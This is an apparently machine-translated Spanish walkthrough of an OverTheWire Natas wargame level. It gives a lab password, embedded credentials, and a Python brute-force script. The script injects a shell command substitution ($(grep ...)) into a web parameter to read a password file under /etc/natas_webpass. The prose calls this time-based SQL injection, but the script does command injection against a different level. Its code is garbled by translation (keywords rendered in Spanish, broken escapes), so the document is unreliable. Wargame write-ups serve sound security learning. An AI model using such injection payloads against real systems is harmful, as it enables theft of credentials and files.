Cubrimos la inyección SQL basada en el tiempo utilizando la función de suspensión. La inyección de SQL basada en el tiempo se basa en la respuesta que toma la aplicación web para deducir si existe una vulnerabilidad de inyección o no. Usamos un escenario de laboratorio de OverTheWire Natas Nivel 17 que implementa una aplicación web que valida si un usuario existe o no. Esto fue parte de OverTheWire Juegos de Guerra Natas Nivel 17
Obtenga notas del certificado OSCP
Natas Nivel 17 Contraseña
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
Secuencia de comandos de Python
#!/usr/bin/python
importar peticiones
caracteres = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
existir = ''
contraseña = ''
objetivo = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
verdaderoStr = 'Producción:\norte\norte
'
para X en caracteres:
r = peticiones.conseguir(objetivo+'?aguja=$(grep '+X+' /etc/natas_webpass/natas17)Viernes')
si r.contenido.encontrar(verdaderoStr) != -1:
existir += X
imprimir 'Usando: ' + existir
imprimir 'Todos los caracteres utilizados. Comenzando con fuerza bruta... ¡Toma un café, puede que tarde un poco!'
para i en rango(32):
para C en existir:
r = peticiones.conseguir(objetivo+'?aguja=$(grep ^'+contraseña+C+' /etc/natas_webpass/natas17)Viernes')
si r.contenido.encontrar(verdaderoStr) != -1:
contraseña += C
imprimir 'Contraseña: ' + contraseña + '*' * En t(32 - len(contraseña))
romper
imprimir '¡Terminado!'
Tutorial en vídeo
Mostrar Comentarios